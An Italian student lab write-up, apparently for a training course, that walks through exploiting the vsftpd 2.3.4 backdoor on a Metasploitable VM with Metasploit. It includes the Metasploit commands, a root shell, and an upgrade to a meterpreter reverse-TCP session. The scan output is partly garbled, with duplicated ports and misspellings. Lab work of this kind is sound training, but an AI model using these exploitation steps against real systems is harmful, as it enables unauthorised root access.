S7L1

Obiettivo: Seguendo l'esercizio trattato nella lezione di oggi, vi sarà richiesto di completare una sessione di hacking sul servizio "vsftpd" della macchina Metasploitable, come discusso nella lezione teorica.

Step1.

Come richiesto ho modificato I ip della metaspotable ip:192.168.1.149 ip kali: 192.168.1.150

```
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.149
netmask 255.255.255.0
gateway 192.168.1.1
```

Step2.

Inizio facendo una scansione della metaspoitable per cercare servizi e la loro versione

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-25 14:10 BST
Stating Nmap 7.95 ( https://nmap.org ) at 2025-08-25 14:10 BST
Stating Nmap 7.95 ( https://nmap.org ) at 2025-08-25 14:10 BST
Statis 0:02:29 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 95.65% done; ETC: 14:13 (0:00:06 remaining)
Statis: 0:02:34 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 95.65% done; ETC: 14:13 (0:00:06 remaining)
Nmap scan report for 192.168.1.149
Host is up (0.00050s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian Bubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open ssh OpenSSH 4.7p1 Debian Bubuntu1 (protocol 2.0)
23/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
30/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rebbios-Ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
139/tcp open netbios-Ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
139/tcp open login?
514/tcp open login?
514/tcp open login?
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open jostgresql PostgresQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
3180/tcp open irc UnrealIRCd
3009/tcp open jp13 Apache Jserv (Protocol v1.3)
3180/tcp open irc UnrealIRCd
3009/tcp open jp13 Apache Jserv (Protocol v1.3)
3180/tcp open unknown
MAC Address: AA:E4:EE:0C:F2:18 (Unknown)
Service detection performed. Please report any incorrect results at https://mmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 186.07 seconds
```

Step3.

Decido di cercare un exploit della vsftpd 2.3.4. Per fare cio vado su msfconsole ed inserisco "vsftpd 2.3.4"

Dopo di che con il shortcut "use" selezione I exploit che ho trovato

Step4.

A questo punto andando si "show options" vedo che posso inserire RHOSTS per tanto usando il comando "set rhosts" inserisco ip della macchina da attaccare.

```
msf6 exploit(
                                                                                                                                                                                                           ) > set rhosts 192.168.1.149
\frac{\text{msf6}}{\text{rhosts}} \Rightarrow 192.168.1.149
\frac{1}{100} = 
msf6 exploit(
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
                                                           Current Setting Required Description
               Name
               CHOST
                                                                                                                                                                                               The local client address
               CPORT
                                                                                                                                                                                             The local client port
                                                                                                                                                                                               A proxy chain of format type:host:p
               Proxies
                                                                                                                                                                                               ort[,type:host:port][...]. Supporte
                                                                                                                                                                                               d proxies: sapni, socks4, socks5, s
                                                                                                                                                                                                ocks5h, http
               RHOSTS 192.168.1.149 yes
                                                                                                                                                                                         The target host(s), see https://doc
                                                                                                                                                                                               s.metasploit.com/docs/using-metaspl
                                                                                                                                                                                               oit/basics/using-metasploit.html
                                                                                                                                                                                         The target port (TCP)
               RPORT 21
 Exploit target:
               Id Name
                                                                                                                                                                                                                                                                                         0 Automatic
View the full module info with the info, or info -d command.
```

Step5.

A questo punto avvio il comando "exploit" e vedo che mi viene richiesto di inserire una password, la inserisco sempre con il comando "set password" e cerco di avviare di nuovo I exploit

```
msf6 exploit(unix/ftp/vsftpd_238_backdoor) > set password msfadmin
[!] Unknown datastore option: password.
password ⇒ msfadmin
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[-] Unknown command: run*. Did you mean run? Run the help command for more d etails.
msf6 exploit(unix/ftp/vsftpd_238_backdoor) > run
[*] 192.168.1.149:21 - The port used by the backdoor bind listener is alread y open
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.150:38919 → 192.168.1.149:620 0) at 2025-08-25 14:19:19 +0100
```

Noto che non mi da modo di inserire il comando quindi per poter avere il controllo inserisco " use post/multi/manage/shell_to_meterpreter"

```
Id Name Type
                               Information Connection
                                             192.168.1.150:41849 → 192.168.1.
             shell cmd/unix
                                                149:6200 (192.168.1.149)
msf6 exploit(unlx/ftp/vsftpd_234_backdoor) > use 1
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use post/multi/manage/shell_t
o_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session ⇒ 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
* Started reverse TCP handler on 192.168.1.150:4433
[*] Sending stage (1017704 bytes) to 192.168.1.149
[*] Meterpreter session 2 opened (192.168.1.150:4433 → 192.168.1.149:3855
3) at 2025-08-25 14:40:20 +0100
Command stager progress: 100.00% (773/773 bytes)
[*] Command Stage: program
[*] Post module execution completed
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meter
                                                 er) >
```

Fatto cio cambio la sessione da 1 a 2 e questo mi da l accesso a meterpreter.

```
msf6 post(multi/
Active sessions
                                 Information
  Id Name
                                                      Connection
            Type
            shell cmd/unix
                                                      192.168.1.150:41849
                                                       → 192.168.1.149:6
                                                      200 (192.168.1.149)
            meterpreter x86/li root @ metasploitab
                                                      192.168.1.150:4433
                                le.localdomain
                                                      → 192.168.1.149:38
                                                      553 (192.168.1.149)
                                    erpreter) > sessions -i 2
msf6 post(multi/mana
[*] Starting interaction with 2...

lap{1}{1}
meterpreter >
```

Step6.

Ora semplicemente inserisco una nuova directory con "mkdir"

```
meterpreter > mkdir /test_metasploit
Creating directory: /test_metasploit
meterpreter >
```

Verifico che la directory sia stata creata correttamente.

```
meterpreter > cd test_metasploit
meterpreter > pwd
/test_metasploit
meterpreter >
```